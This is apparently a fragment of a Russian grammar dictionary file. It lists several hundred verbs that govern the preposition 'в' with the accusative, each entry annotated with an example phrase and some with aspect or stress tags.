rus_verbs:ВЫСКОЧИТЬ{}, // беглецы выскочили во двор. (ВЫСКОЧИТЬ В)
rus_verbs:ДОСЫЛАТЬ{}, // Одним движением стрелок досылает патрон в ствол (ДОСЫЛАТЬ В)
rus_verbs:СЪЕХАТЬСЯ{}, // Финалисты съехались на свои игры в Лос-Анжелес. (СЪЕХАТЬСЯ НА, В)
rus_verbs:ВЫТЯНУТЬ{}, // Дым вытянуло в трубу. (ВЫТЯНУТЬ В)
rus_verbs:торчать{}, // острые обломки бревен торчали во все стороны.
rus_verbs:ОГЛЯДЫВАТЬ{}, // Она оглядывает себя в зеркало. (ОГЛЯДЫВАТЬ В)
rus_verbs:ДЕЙСТВОВАТЬ{}, // Этот пакет законов действует в ущерб частным предпринимателям.
rus_verbs:РАЗЛЕТЕТЬСЯ{}, // люди разлетелись во все стороны. (РАЗЛЕТЕТЬСЯ В)
rus_verbs:брызнуть{}, // во все стороны брызнула кровь. (брызнуть в)
rus_verbs:ТЯНУТЬСЯ{}, // провода тянулись во все углы. (ТЯНУТЬСЯ В)
rus_verbs:валить{}, // валить все в одну кучу (валить в)
rus_verbs:выдвинуть{}, // его выдвинули в палату представителей (выдвинуть в)
rus_verbs:карабкаться{}, // карабкаться в гору (карабкаться в)
rus_verbs:клониться{}, // он клонился в сторону (клониться в)
rus_verbs:командировать{}, // мы командировали нашего представителя в Рим (командировать в)
rus_verbs:запасть{}, // Эти слова запали мне в душу.
rus_verbs:давать{}, // В этой лавке дают в долг?
rus_verbs:ездить{}, // Каждый день грузовик ездит в город.
rus_verbs:претвориться{}, // Замысел претворился в жизнь.
rus_verbs:разойтись{}, // Они разошлись в разные стороны.
rus_verbs:выйти{}, // Охотник вышел в поле с ружьём.
rus_verbs:отозвать{}, // Отзовите его в сторону и скажите ему об этом.
rus_verbs:расходиться{}, // Маша и Петя расходятся в разные стороны
rus_verbs:переодеваться{}, // переодеваться в женское платье
rus_verbs:перерастать{}, // перерастать в массовые беспорядки
rus_verbs:завязываться{}, // завязываться в узел
rus_verbs:похватать{}, // похватать в руки
rus_verbs:увлечь{}, // увлечь в прогулку по парку
rus_verbs:помещать{}, // помещать в изолятор
rus_verbs:зыркнуть{}, // зыркнуть в окошко
rus_verbs:закатать{}, // закатать в асфальт
rus_verbs:усаживаться{}, // усаживаться в кресло
rus_verbs:загонять{}, // загонять в сарай
rus_verbs:подбрасывать{}, // подбрасывать в воздух
rus_verbs:телеграфировать{}, // телеграфировать в центр
rus_verbs:вязать{}, // вязать в стопы
rus_verbs:подлить{}, // подлить в огонь
rus_verbs:заполучить{}, // заполучить в распоряжение
rus_verbs:подогнать{}, // подогнать в док
rus_verbs:ломиться{}, // ломиться в открытую дверь
rus_verbs:переправить{}, // переправить в деревню
rus_verbs:затягиваться{}, // затягиваться в трубу
rus_verbs:разлетаться{}, // разлетаться в стороны
rus_verbs:кланяться{}, // кланяться в ножки
rus_verbs:устремляться{}, // устремляться в открытое море
rus_verbs:переместиться{}, // переместиться в другую аудиторию
rus_verbs:ложить{}, // ложить в ящик
rus_verbs:отвозить{}, // отвозить в аэропорт
rus_verbs:напрашиваться{}, // напрашиваться в гости
rus_verbs:напроситься{}, // напроситься в гости
rus_verbs:нагрянуть{}, // нагрянуть в гости
rus_verbs:заворачивать{}, // заворачивать в фольгу
rus_verbs:заковать{}, // заковать в кандалы
rus_verbs:свезти{}, // свезти в сарай
rus_verbs:притащиться{}, // притащиться в дом
rus_verbs:завербовать{}, // завербовать в разведку
rus_verbs:рубиться{}, // рубиться в компьютерные игры
rus_verbs:тыкаться{}, // тыкаться в материнскую грудь
инфинитив:ссыпать{ вид:несоверш }, инфинитив:ссыпать{ вид:соверш }, // ссыпать в контейнер
глагол:ссыпать{ вид:несоверш }, глагол:ссыпать{ вид:соверш },
деепричастие:ссыпав{}, деепричастие:ссыпая{},
rus_verbs:засасывать{}, // засасывать в себя
rus_verbs:скакнуть{}, // скакнуть в будущее
rus_verbs:подвозить{}, // подвозить в театр
rus_verbs:переиграть{}, // переиграть в покер
rus_verbs:мобилизовать{}, // мобилизовать в действующую армию
rus_verbs:залетать{}, // залетать в закрытое воздушное пространство
rus_verbs:подышать{}, // подышать в трубочку
rus_verbs:смотаться{}, // смотаться в институт
rus_verbs:рассовать{}, // рассовать в кармашки
rus_verbs:захаживать{}, // захаживать в дом
инфинитив:сгонять{ вид:соверш }, глагол:сгонять{ вид:соверш }, // сгонять в ломбард
деепричастие:сгоняя{},
rus_verbs:посылаться{}, // посылаться в порт
rus_verbs:отлить{}, // отлить в кастрюлю
rus_verbs:преобразоваться{}, // преобразоваться в линейное уравнение
rus_verbs:поплакать{}, // поплакать в платочек
rus_verbs:обуться{}, // обуться в сапоги
rus_verbs:закапать{}, // закапать в глаза
инфинитив:свозить{ вид:несоверш }, инфинитив:свозить{ вид:соверш }, // свозить в центр утилизации
глагол:свозить{ вид:несоверш }, глагол:свозить{ вид:соверш },
деепричастие:свозив{}, деепричастие:свозя{},
rus_verbs:преобразовать{}, // преобразовать в линейное уравнение
rus_verbs:кутаться{}, // кутаться в плед
rus_verbs:смещаться{}, // смещаться в сторону
rus_verbs:зазывать{}, // зазывать в свой магазин
инфинитив:трансформироваться{ вид:несоверш }, инфинитив:трансформироваться{ вид:соверш }, // трансформироваться в комбинезон
глагол:трансформироваться{ вид:несоверш }, глагол:трансформироваться{ вид:соверш },
деепричастие:трансформируясь{}, деепричастие:трансформировавшись{},
rus_verbs:погружать{}, // погружать в кипящее масло
rus_verbs:обыграть{}, // обыграть в теннис
rus_verbs:закутать{}, // закутать в одеяло
rus_verbs:изливаться{}, // изливаться в воду
rus_verbs:закатывать{}, // закатывать в асфальт
rus_verbs:мотнуться{}, // мотнуться в банк
rus_verbs:избираться{}, // избираться в сенат
rus_verbs:наниматься{}, // наниматься в услужение
rus_verbs:настучать{}, // настучать в органы
rus_verbs:запихивать{}, // запихивать в печку
rus_verbs:закапывать{}, // закапывать в нос
rus_verbs:засобираться{}, // засобираться в поход
rus_verbs:копировать{}, // копировать в другую папку
rus_verbs:замуровать{}, // замуровать в стену
rus_verbs:упечь{}, // упечь в тюрьму
rus_verbs:зрить{}, // зрить в корень
rus_verbs:стягиваться{}, // стягиваться в одну точку
rus_verbs:усаживать{}, // усаживать в тренажер
rus_verbs:протолкнуть{}, // протолкнуть в отверстие
rus_verbs:расшибиться{}, // расшибиться в лепешку
rus_verbs:приглашаться{}, // приглашаться в кабинет
rus_verbs:садить{}, // садить в телегу
rus_verbs:уткнуть{}, // уткнуть в подушку
rus_verbs:протечь{}, // протечь в подвал
rus_verbs:перегнать{}, // перегнать в другую страну
rus_verbs:переползти{}, // переползти в тень
rus_verbs:зарываться{}, // зарываться в грунт
rus_verbs:переодеть{}, // переодеть в сухую одежду
rus_verbs:припуститься{}, // припуститься в пляс
rus_verbs:лопотать{}, // лопотать в микрофон
rus_verbs:прогнусавить{}, // прогнусавить в микрофон
rus_verbs:мочиться{}, // мочиться в штаны
rus_verbs:загружать{}, // загружать в патронник
rus_verbs:радировать{}, // радировать в центр
rus_verbs:промотать{}, // промотать в конец
rus_verbs:помчать{}, // помчать в школу
rus_verbs:съезжать{}, // съезжать в кювет
rus_verbs:завозить{}, // завозить в магазин
rus_verbs:заявляться{}, // заявляться в школу
rus_verbs:наглядеться{}, // наглядеться в зеркало
rus_verbs:сворачиваться{}, // сворачиваться в клубочек
rus_verbs:устремлять{}, // устремлять взор в будущее
rus_verbs:забредать{}, // забредать в глухие уголки
rus_verbs:перемотать{}, // перемотать в самое начало диалога
rus_verbs:сморкаться{}, // сморкаться в носовой платочек
rus_verbs:перетекать{}, // перетекать в другой сосуд
rus_verbs:закачать{}, // закачать в шарик
rus_verbs:запрятать{}, // запрятать в сейф
rus_verbs:пинать{}, // пинать в живот
rus_verbs:затрубить{}, // затрубить в горн
rus_verbs:подглядывать{}, // подглядывать в замочную скважину
инфинитив:подсыпать{ вид:соверш }, инфинитив:подсыпать{ вид:несоверш }, // подсыпать в питье
глагол:подсыпать{ вид:соверш }, глагол:подсыпать{ вид:несоверш },
деепричастие:подсыпав{}, деепричастие:подсыпая{},
rus_verbs:засовывать{}, // засовывать в пенал
rus_verbs:отрядить{}, // отрядить в командировку
rus_verbs:справлять{}, // справлять в кусты
rus_verbs:поторапливаться{}, // поторапливаться в самолет
rus_verbs:скопировать{}, // скопировать в кэш
rus_verbs:подливать{}, // подливать в огонь
rus_verbs:запрячь{}, // запрячь в повозку
rus_verbs:окраситься{}, // окраситься в пурпур
rus_verbs:уколоть{}, // уколоть в шею
rus_verbs:слететься{}, // слететься в гнездо
rus_verbs:резаться{}, // резаться в карты
rus_verbs:затесаться{}, // затесаться в ряды оппозиционеров
инфинитив:задвигать{ вид:несоверш }, глагол:задвигать{ вид:несоверш }, // задвигать в ячейку (несоверш)
деепричастие:задвигая{},
rus_verbs:доставляться{}, // доставляться в ресторан
rus_verbs:поплевать{}, // поплевать в чашку
rus_verbs:попереться{}, // попереться в магазин
rus_verbs:хаживать{}, // хаживать в церковь
rus_verbs:преображаться{}, // преображаться в королеву
rus_verbs:организоваться{}, // организоваться в группу
rus_verbs:ужалить{}, // ужалить в руку
rus_verbs:протискиваться{}, // протискиваться в аудиторию
rus_verbs:препроводить{}, // препроводить в закуток
rus_verbs:разъезжаться{}, // разъезжаться в разные стороны
rus_verbs:пропыхтеть{}, // пропыхтеть в трубку
rus_verbs:уволочь{}, // уволочь в нору
rus_verbs:отодвигаться{}, // отодвигаться в сторону
rus_verbs:разливать{}, // разливать в стаканы
rus_verbs:сбегаться{}, // сбегаться в актовый зал
rus_verbs:наведаться{}, // наведаться в кладовку
rus_verbs:перекочевать{}, // перекочевать в горы
rus_verbs:прощебетать{}, // прощебетать в трубку
rus_verbs:перекладывать{}, // перекладывать в другой карман
rus_verbs:углубляться{}, // углубляться в теорию
rus_verbs:переименовать{}, // переименовать в город
rus_verbs:переметнуться{}, // переметнуться в лагерь противника
rus_verbs:разносить{}, // разносить в щепки
rus_verbs:осыпаться{}, // осыпаться в холода
rus_verbs:попроситься{}, // попроситься в туалет
rus_verbs:уязвить{}, // уязвить в сердце
rus_verbs:перетащить{}, // перетащить в дом
rus_verbs:закутаться{}, // закутаться в плед
// rus_verbs:упаковать{}, // упаковать в бумагу
инфинитив:тикать{ aux stress="тик^ать" }, глагол:тикать{ aux stress="тик^ать" }, // тикать в крепость
rus_verbs:хихикать{}, // хихикать в кулачок
rus_verbs:объединить{}, // объединить в сеть
инфинитив:слетать{ вид:соверш }, глагол:слетать{ вид:соверш }, // слетать в Калифорнию
деепричастие:слетав{},
rus_verbs:заползти{}, // заползти в норку
rus_verbs:перерасти{}, // перерасти в крупную аферу
rus_verbs:списать{}, // списать в утиль
rus_verbs:просачиваться{}, // просачиваться в бункер
rus_verbs:пускаться{}, // пускаться в погоню
rus_verbs:согревать{}, // согревать в мороз
rus_verbs:наливаться{}, // наливаться в емкость
rus_verbs:унестись{}, // унестись в небо
rus_verbs:зашвырнуть{}, // зашвырнуть в шкаф
rus_verbs:сигануть{}, // сигануть в воду
rus_verbs:окунуть{}, // окунуть в ледяную воду
rus_verbs:просочиться{}, // просочиться в сапог
rus_verbs:соваться{}, // соваться в толпу
rus_verbs:протолкаться{}, // протолкаться в гардероб
rus_verbs:заложить{}, // заложить в ломбард
rus_verbs:перекатить{}, // перекатить в сарай
rus_verbs:поставлять{}, // поставлять в Китай
rus_verbs:залезать{}, // залезать в долги
rus_verbs:отлучаться{}, // отлучаться в туалет
rus_verbs:сбиваться{}, // сбиваться в кучу
rus_verbs:зарыть{}, // зарыть в землю
rus_verbs:засадить{}, // засадить в тело
rus_verbs:прошмыгнуть{}, // прошмыгнуть в дверь
rus_verbs:переставить{}, // переставить в шкаф
rus_verbs:отчалить{}, // отчалить в плавание
rus_verbs:набираться{}, // набираться в команду
rus_verbs:лягнуть{}, // лягнуть в живот
rus_verbs:притворить{}, // притворить в жизнь
rus_verbs:проковылять{}, // проковылять в гардероб
rus_verbs:прикатить{}, // прикатить в гараж
rus_verbs:залететь{}, // залететь в окно
rus_verbs:переделать{}, // переделать в мопед
rus_verbs:протащить{}, // протащить в совет
rus_verbs:обмакнуть{}, // обмакнуть в воду
rus_verbs:отклоняться{}, // отклоняться в сторону
rus_verbs:запихать{}, // запихать в пакет
rus_verbs:избирать{}, // избирать в совет
rus_verbs:загрузить{}, // загрузить в буфер
rus_verbs:уплывать{}, // уплывать в Париж
rus_verbs:забивать{}, // забивать в мерзлоту
rus_verbs:потыкать{}, // потыкать в безжизненную тушу
rus_verbs:съезжаться{}, // съезжаться в санаторий
rus_verbs:залепить{}, // залепить в рыло
rus_verbs:набиться{}, // набиться в карманы
rus_verbs:уползти{}, // уползти в нору
rus_verbs:упрятать{}, // упрятать в камеру
rus_verbs:переместить{}, // переместить в камеру анабиоза
rus_verbs:закрасться{}, // закрасться в душу
rus_verbs:сместиться{}, // сместиться в инфракрасную область
rus_verbs:запускать{}, // запускать в серию
rus_verbs:потрусить{}, // потрусить в чащобу
rus_verbs:забрасывать{}, // забрасывать в чистую воду
rus_verbs:переселить{}, // переселить в отдаленную деревню
rus_verbs:переезжать{}, // переезжать в новую квартиру
rus_verbs:приподнимать{}, // приподнимать в воздух
rus_verbs:добавиться{}, // добавиться в конец очереди
rus_verbs:убыть{}, // убыть в часть
rus_verbs:передвигать{}, // передвигать в соседнюю клетку
rus_verbs:добавляться{}, // добавляться в очередь
rus_verbs:дописать{}, // дописать в перечень
rus_verbs:записываться{}, // записываться в кружок
rus_verbs:продаться{}, // продаться в кредитное рабство
rus_verbs:переписывать{}, // переписывать в тетрадку
rus_verbs:заплыть{}, // заплыть в территориальные воды
инфинитив:пописать{ aux stress="поп^исать" }, инфинитив:пописать{ aux stress="попис^ать" }, // пописать в горшок
глагол:пописать{ aux stress="поп^исать" }, глагол:пописать{ aux stress="попис^ать" },
rus_verbs:отбирать{}, // отбирать в гвардию
rus_verbs:нашептывать{}, // нашептывать в микрофон
rus_verbs:ковылять{}, // ковылять в стойло
rus_verbs:прилетать{}, // прилетать в Париж
rus_verbs:пролиться{}, // пролиться в канализацию
rus_verbs:запищать{}, // запищать в микрофон
rus_verbs:подвезти{}, // подвезти в больницу
rus_verbs:припереться{}, // припереться в театр
rus_verbs:утечь{}, // утечь в сеть
rus_verbs:прорываться{}, // прорываться в буфет
rus_verbs:увозить{}, // увозить в ремонт
rus_verbs:съедать{}, // съедать в обед
rus_verbs:просунуться{}, // просунуться в дверь
rus_verbs:перенестись{}, // перенестись в прошлое
rus_verbs:завезти{}, // завезти в магазин
rus_verbs:проложить{}, // проложить в деревню
rus_verbs:объединяться{}, // объединяться в профсоюз
rus_verbs:развиться{}, // развиться в бабочку
rus_verbs:засеменить{}, // засеменить в кабинку
rus_verbs:скатываться{}, // скатываться в яму
rus_verbs:завозиться{}, // завозиться в магазин
rus_verbs:нанимать{}, // нанимать в рейс
rus_verbs:поспеть{}, // поспеть в класс
rus_verbs:кидаться{}, // кинаться в крайности
rus_verbs:поспевать{}, // поспевать в оперу
rus_verbs:обернуть{}, // обернуть в фольгу
rus_verbs:обратиться{}, // обратиться в прокуратуру
rus_verbs:истолковать{}, // истолковать в свою пользу
rus_verbs:таращиться{}, // таращиться в дисплей
rus_verbs:прыснуть{}, // прыснуть в кулачок
rus_verbs:загнуть{}, // загнуть в другую сторону
rus_verbs:раздать{}, // раздать в разные руки
rus_verbs:назначить{}, // назначить в приемную комиссию
rus_verbs:кидать{}, // кидать в кусты
rus_verbs:увлекать{}, // увлекать в лес
rus_verbs:переселиться{}, // переселиться в чужое тело
rus_verbs:присылать{}, // присылать в город
rus_verbs:уплыть{}, // уплыть в Европу
rus_verbs:запричитать{}, // запричитать в полный голос
rus_verbs:утащить{}, // утащить в логово
rus_verbs:завернуться{}, // завернуться в плед
rus_verbs:заносить{}, // заносить в блокнот
rus_verbs:пятиться{}, // пятиться в дом
rus_verbs:наведываться{}, // наведываться в больницу
rus_verbs:нырять{}, // нырять в прорубь
rus_verbs:зачастить{}, // зачастить в бар
rus_verbs:назначаться{}, // назначается в комиссию
rus_verbs:мотаться{}, // мотаться в областной центр
rus_verbs:разыграть{}, // разыграть в карты
rus_verbs:пропищать{}, // пропищать в микрофон
rus_verbs:пихнуть{}, // пихнуть в бок
rus_verbs:эмигрировать{}, // эмигрировать в Канаду
rus_verbs:подключить{}, // подключить в сеть
rus_verbs:упереть{}, // упереть в фундамент
rus_verbs:уплатить{}, // уплатить в кассу
rus_verbs:потащиться{}, // потащиться в медпункт
rus_verbs:пригнать{}, // пригнать в стойло
rus_verbs:оттеснить{}, // оттеснить в фойе
rus_verbs:стучаться{}, // стучаться в ворота
rus_verbs:перечислить{}, // перечислить в фонд
rus_verbs:сомкнуть{}, // сомкнуть в круг
rus_verbs:закачаться{}, // закачаться в резервуар
rus_verbs:кольнуть{}, // кольнуть в бок
rus_verbs:накрениться{}, // накрениться в сторону берега
rus_verbs:подвинуться{}, // подвинуться в другую сторону
rus_verbs:разнести{}, // разнести в клочья
rus_verbs:отливать{}, // отливать в форму
rus_verbs:подкинуть{}, // подкинуть в карман
rus_verbs:уводить{}, // уводить в кабинет
rus_verbs:ускакать{}, // ускакать в школу
rus_verbs:ударять{}, // ударять в барабаны
rus_verbs:даться{}, // даться в руки
rus_verbs:поцеловаться{}, // поцеловаться в губы
rus_verbs:посветить{}, // посветить в подвал
rus_verbs:тыкать{}, // тыкать в арбуз
rus_verbs:соединяться{}, // соединяться в кольцо
rus_verbs:растянуть{}, // растянуть в тонкую ниточку
rus_verbs:побросать{}, // побросать в пыль
rus_verbs:стукнуться{}, // стукнуться в закрытую дверь
rus_verbs:проигрывать{}, // проигрывать в теннис
rus_verbs:дунуть{}, // дунуть в трубочку
rus_verbs:улетать{}, // улетать в Париж
rus_verbs:переводиться{}, // переводиться в филиал
rus_verbs:окунуться{}, // окунуться в водоворот событий
rus_verbs:попрятаться{}, // попрятаться в норы
rus_verbs:перевезти{}, // перевезти в соседнюю палату
rus_verbs:топать{}, // топать в школу
rus_verbs:относить{}, // относить в помещение
rus_verbs:укладывать{}, // укладывать в стопку
rus_verbs:укатить{}, // укатил в турне
rus_verbs:убирать{}, // убирать в сумку
rus_verbs:помалкивать{}, // помалкивать в тряпочку
rus_verbs:ронять{}, // ронять в грязь
rus_verbs:глазеть{}, // глазеть в бинокль
rus_verbs:преобразиться{}, // преобразиться в другого человека
rus_verbs:запрыгнуть{}, // запрыгнуть в поезд
rus_verbs:сгодиться{}, // сгодиться в суп
rus_verbs:проползти{}, // проползти в нору
rus_verbs:забираться{}, // забираться в коляску
rus_verbs:сбежаться{}, // сбежались в класс
rus_verbs:закатиться{}, // закатиться в угол
rus_verbs:плевать{}, // плевать в душу
rus_verbs:поиграть{}, // поиграть в демократию
rus_verbs:кануть{}, // кануть в небытие
rus_verbs:опаздывать{}, // опаздывать в школу
rus_verbs:отползти{}, // отползти в сторону
rus_verbs:стекаться{}, // стекаться в отстойник
rus_verbs:запихнуть{}, // запихнуть в пакет
rus_verbs:вышвырнуть{}, // вышвырнуть в коридор
rus_verbs:связываться{}, // связываться в плотный узел
rus_verbs:затолкать{}, // затолкать в ухо
rus_verbs:скрутить{}, // скрутить в трубочку
rus_verbs:сворачивать{}, // сворачивать в трубочку
rus_verbs:сплестись{}, // сплестись в узел
rus_verbs:заскочить{}, // заскочить в кабинет
rus_verbs:проваливаться{}, // проваливаться в сон
rus_verbs:уверовать{}, // уверовать в свою безнаказанность
rus_verbs:переписать{}, // переписать в тетрадку
rus_verbs:переноситься{}, // переноситься в мир фантазий
rus_verbs:заводить{}, // заводить в помещение
rus_verbs:сунуться{}, // сунуться в аудиторию
rus_verbs:устраиваться{}, // устраиваться в автомастерскую
rus_verbs:пропускать{}, // пропускать в зал
инфинитив:сбегать{ вид:несоверш }, инфинитив:сбегать{ вид:соверш }, // сбегать в кино
глагол:сбегать{ вид:несоверш }, глагол:сбегать{ вид:соверш },
деепричастие:сбегая{}, деепричастие:сбегав{},
rus_verbs:прибегать{}, // прибегать в школу
rus_verbs:съездить{}, // съездить в лес
rus_verbs:захлопать{}, // захлопать в ладошки
rus_verbs:опрокинуться{}, // опрокинуться в грязь
инфинитив:насыпать{ вид:несоверш }, инфинитив:насыпать{ вид:соверш }, // насыпать в стакан
глагол:насыпать{ вид:несоверш }, глагол:насыпать{ вид:соверш },
деепричастие:насыпая{}, деепричастие:насыпав{},
rus_verbs:употреблять{}, // употреблять в пищу
rus_verbs:приводиться{}, // приводиться в действие
rus_verbs:пристроить{}, // пристроить в надежные руки
rus_verbs:юркнуть{}, // юркнуть в нору
rus_verbs:объединиться{}, // объединиться в банду
rus_verbs:сажать{}, // сажать в одиночку
rus_verbs:соединить{}, // соединить в кольцо
rus_verbs:забрести{}, // забрести в кафешку
rus_verbs:свернуться{}, // свернуться в клубочек
rus_verbs:пересесть{}, // пересесть в другой автобус
rus_verbs:постучаться{}, // постучаться в дверцу
rus_verbs:соединять{}, // соединять в кольцо
rus_verbs:приволочь{}, // приволочь в коморку
rus_verbs:смахивать{}, // смахивать в ящик стола
rus_verbs:забежать{}, // забежать в помещение
rus_verbs:целиться{}, // целиться в беглеца
rus_verbs:прокрасться{}, // прокрасться в хранилище
rus_verbs:заковылять{}, // заковылять в травтамологию
rus_verbs:прискакать{}, // прискакать в стойло
rus_verbs:колотить{}, // колотить в дверь
rus_verbs:смотреться{}, // смотреться в зеркало
rus_verbs:подложить{}, // подложить в салон
rus_verbs:пущать{}, // пущать в королевские покои
rus_verbs:согнуть{}, // согнуть в дугу
rus_verbs:забарабанить{}, // забарабанить в дверь
rus_verbs:отклонить{}, // отклонить в сторону посадочной полосы
rus_verbs:убраться{}, // убраться в специальную нишу
rus_verbs:насмотреться{}, // насмотреться в зеркало
rus_verbs:чмокнуть{}, // чмокнуть в щечку
rus_verbs:усмехаться{}, // усмехаться в бороду
rus_verbs:передвинуть{}, // передвинуть в конец очереди
rus_verbs:допускаться{}, // допускаться в опочивальню
rus_verbs:задвинуть{}, // задвинуть в дальний угол
rus_verbs:отправлять{}, // отправлять в центр
rus_verbs:сбрасывать{}, // сбрасывать в жерло
rus_verbs:расстреливать{}, // расстреливать в момент обнаружения
rus_verbs:заволочь{}, // заволочь в закуток
rus_verbs:пролить{}, // пролить в воду
rus_verbs:зарыться{}, // зарыться в сено
rus_verbs:переливаться{}, // переливаться в емкость
rus_verbs:затащить{}, // затащить в клуб
rus_verbs:перебежать{}, // перебежать в лагерь врагов
rus_verbs:одеть{}, // одеть в новое платье
инфинитив:задвигаться{ вид:несоверш }, глагол:задвигаться{ вид:несоверш }, // задвигаться в нишу
деепричастие:задвигаясь{},
rus_verbs:клюнуть{}, // клюнуть в темечко
rus_verbs:наливать{}, // наливать в кружку
rus_verbs:пролезть{}, // пролезть в ушко
rus_verbs:откладывать{}, // откладывать в ящик
rus_verbs:протянуться{}, // протянуться в соседний дом
rus_verbs:шлепнуться{}, // шлепнуться лицом в грязь
rus_verbs:устанавливать{}, // устанавливать в машину
rus_verbs:употребляться{}, // употребляться в пищу
rus_verbs:переключиться{}, // переключиться в реверсный режим
rus_verbs:пискнуть{}, // пискнуть в микрофон
rus_verbs:заявиться{}, // заявиться в класс
rus_verbs:налиться{}, // налиться в стакан
rus_verbs:заливать{}, // заливать в бак
rus_verbs:ставиться{}, // ставиться в очередь
инфинитив:писаться{ aux stress="п^исаться" }, глагол:писаться{ aux stress="п^исаться" }, // писаться в штаны
деепричастие:писаясь{},
rus_verbs:целоваться{}, // целоваться в губы
rus_verbs:наносить{}, // наносить в область сердца
rus_verbs:посмеяться{}, // посмеяться в кулачок
rus_verbs:употребить{}, // употребить в пищу
rus_verbs:прорваться{}, // прорваться в столовую
rus_verbs:укладываться{}, // укладываться в ровные стопки
rus_verbs:пробиться{}, // пробиться в финал
rus_verbs:забить{}, // забить в землю
rus_verbs:переложить{}, // переложить в другой карман
rus_verbs:опускать{}, // опускать в свежевырытую могилу
rus_verbs:поторопиться{}, // поторопиться в школу
rus_verbs:сдвинуться{}, // сдвинуться в сторону
rus_verbs:капать{}, // капать в смесь
rus_verbs:погружаться{}, // погружаться во тьму
rus_verbs:направлять{}, // направлять в кабинку
rus_verbs:погрузить{}, // погрузить во тьму
rus_verbs:примчаться{}, // примчаться в школу
rus_verbs:упираться{}, // упираться в дверь
rus_verbs:удаляться{}, // удаляться в комнату совещаний
rus_verbs:ткнуться{}, // ткнуться в окошко
rus_verbs:убегать{}, // убегать в чащу
rus_verbs:соединиться{}, // соединиться в необычную пространственную фигуру
rus_verbs:наговорить{}, // наговорить в микрофон
rus_verbs:переносить{}, // переносить в дом
rus_verbs:прилечь{}, // прилечь в кроватку
rus_verbs:поворачивать{}, // поворачивать в обратную сторону
rus_verbs:проскочить{}, // проскочить в щель
rus_verbs:совать{}, // совать в духовку
rus_verbs:переодеться{}, // переодеться в чистую одежду
rus_verbs:порвать{}, // порвать в лоскуты
rus_verbs:завязать{}, // завязать в бараний рог
rus_verbs:съехать{}, // съехать в кювет
rus_verbs:литься{}, // литься в канистру
rus_verbs:уклониться{}, // уклониться в левую сторону
rus_verbs:смахнуть{}, // смахнуть в мусорное ведро
rus_verbs:спускать{}, // спускать в шахту
rus_verbs:плеснуть{}, // плеснуть в воду
rus_verbs:подуть{}, // подуть в угольки
rus_verbs:набирать{}, // набирать в команду
rus_verbs:хлопать{}, // хлопать в ладошки
rus_verbs:ранить{}, // ранить в самое сердце
rus_verbs:посматривать{}, // посматривать в иллюминатор
rus_verbs:превращать{}, // превращать воду в вино
rus_verbs:толкать{}, // толкать в пучину
rus_verbs:отбыть{}, // отбыть в расположение части
rus_verbs:сгрести{}, // сгрести в карман
rus_verbs:удрать{}, // удрать в тайгу
rus_verbs:пристроиться{}, // пристроиться в хорошую фирму
rus_verbs:сбиться{}, // сбиться в плотную группу
rus_verbs:заключать{}, // заключать в объятия
rus_verbs:отпускать{}, // отпускать в поход
rus_verbs:устремить{}, // устремить взгляд в будущее
rus_verbs:обронить{}, // обронить в траву
rus_verbs:сливаться{}, // сливаться в речку
rus_verbs:стекать{}, // стекать в канаву
rus_verbs:свалить{}, // свалить в кучу
rus_verbs:подтянуть{}, // подтянуть в кабину
rus_verbs:скатиться{}, // скатиться в канаву
rus_verbs:проскользнуть{}, // проскользнуть в приоткрытую дверь
rus_verbs:заторопиться{}, // заторопиться в буфет
rus_verbs:протиснуться{}, // протиснуться в центр толпы
rus_verbs:прятать{}, // прятать в укромненькое местечко
rus_verbs:пропеть{}, // пропеть в микрофон
rus_verbs:углубиться{}, // углубиться в джунгли
rus_verbs:сползти{}, // сползти в яму
rus_verbs:записывать{}, // записывать в память
rus_verbs:расстрелять{}, // расстрелять в упор (наречный оборот В УПОР)
rus_verbs:колотиться{}, // колотиться в дверь
rus_verbs:просунуть{}, // просунуть в отверстие
rus_verbs:провожать{}, // провожать в армию
rus_verbs:катить{}, // катить в гараж
rus_verbs:поражать{}, // поражать в самое сердце
rus_verbs:отлететь{}, // отлететь в дальний угол
rus_verbs:закинуть{}, // закинуть в речку
rus_verbs:катиться{}, // катиться в пропасть
rus_verbs:забросить{}, // забросить в дальний угол
rus_verbs:отвезти{}, // отвезти в лагерь
rus_verbs:втопить{}, // втопить педаль в пол
rus_verbs:втапливать{}, // втапливать педать в пол
rus_verbs:утопить{}, // утопить кнопку в панель
rus_verbs:напасть{}, // В Пекине участники антияпонских протестов напали на машину посла США
rus_verbs:нанять{}, // Босс нанял в службу поддержки еще несколько девушек
rus_verbs:переводить{}, // переводить в устойчивую к перегреву форму
rus_verbs:баллотировать{}, // претендент был баллотирован в жюри (баллотирован?)
rus_verbs:вбухать{}, // Власти вбухали в этой проект много денег
rus_verbs:вбухивать{}, // Власти вбухивают в этот проект очень много денег
rus_verbs:поскакать{}, // поскакать в атаку
rus_verbs:прицелиться{}, // прицелиться в бегущего зайца
rus_verbs:прыгать{}, // прыгать в кровать
rus_verbs:приглашать{}, // приглашать в дом
rus_verbs:понестись{}, // понестись в ворота
rus_verbs:заехать{}, // заехать в гаражный бокс
rus_verbs:опускаться{}, // опускаться в бездну
rus_verbs:переехать{}, // переехать в коттедж
rus_verbs:поместить{}, // поместить в карантин
rus_verbs:ползти{}, // ползти в нору
rus_verbs:добавлять{}, // добавлять в корзину
rus_verbs:уткнуться{}, // уткнуться в подушку
rus_verbs:продавать{}, // продавать в рабство
rus_verbs:спрятаться{}, // Белка спрячется в дупло.
rus_verbs:врисовывать{}, // врисовывать новый персонаж в анимацию
rus_verbs:воткнуть{}, // воткни вилку в розетку
rus_verbs:нести{}, // нести в больницу
rus_verbs:воткнуться{}, // вилка воткнулась в сочную котлетку
rus_verbs:впаивать{}, // впаивать деталь в плату
rus_verbs:впаиваться{}, // деталь впаивается в плату
rus_verbs:впархивать{}, // впархивать в помещение
rus_verbs:впаять{}, // впаять деталь в плату
rus_verbs:впендюривать{}, // впендюривать штукенцию в агрегат
rus_verbs:впендюрить{}, // впендюрить штукенцию в агрегат
rus_verbs:вперивать{}, // вперивать взгляд в экран
rus_verbs:впериваться{}, // впериваться в экран
rus_verbs:вперить{}, // вперить взгляд в экран
rus_verbs:впериться{}, // впериться в экран
rus_verbs:вперять{}, // вперять взгляд в экран
rus_verbs:вперяться{}, // вперяться в экран
rus_verbs:впечатать{}, // впечатать текст в первую главу
rus_verbs:впечататься{}, // впечататься в стену
rus_verbs:впечатывать{}, // впечатывать текст в первую главу
rus_verbs:впечатываться{}, // впечатываться в стену
rus_verbs:впиваться{}, // Хищник впивается в жертву мощными зубами
rus_verbs:впитаться{}, // Жидкость впиталась в ткань
rus_verbs:впитываться{}, // Жидкость впитывается в ткань
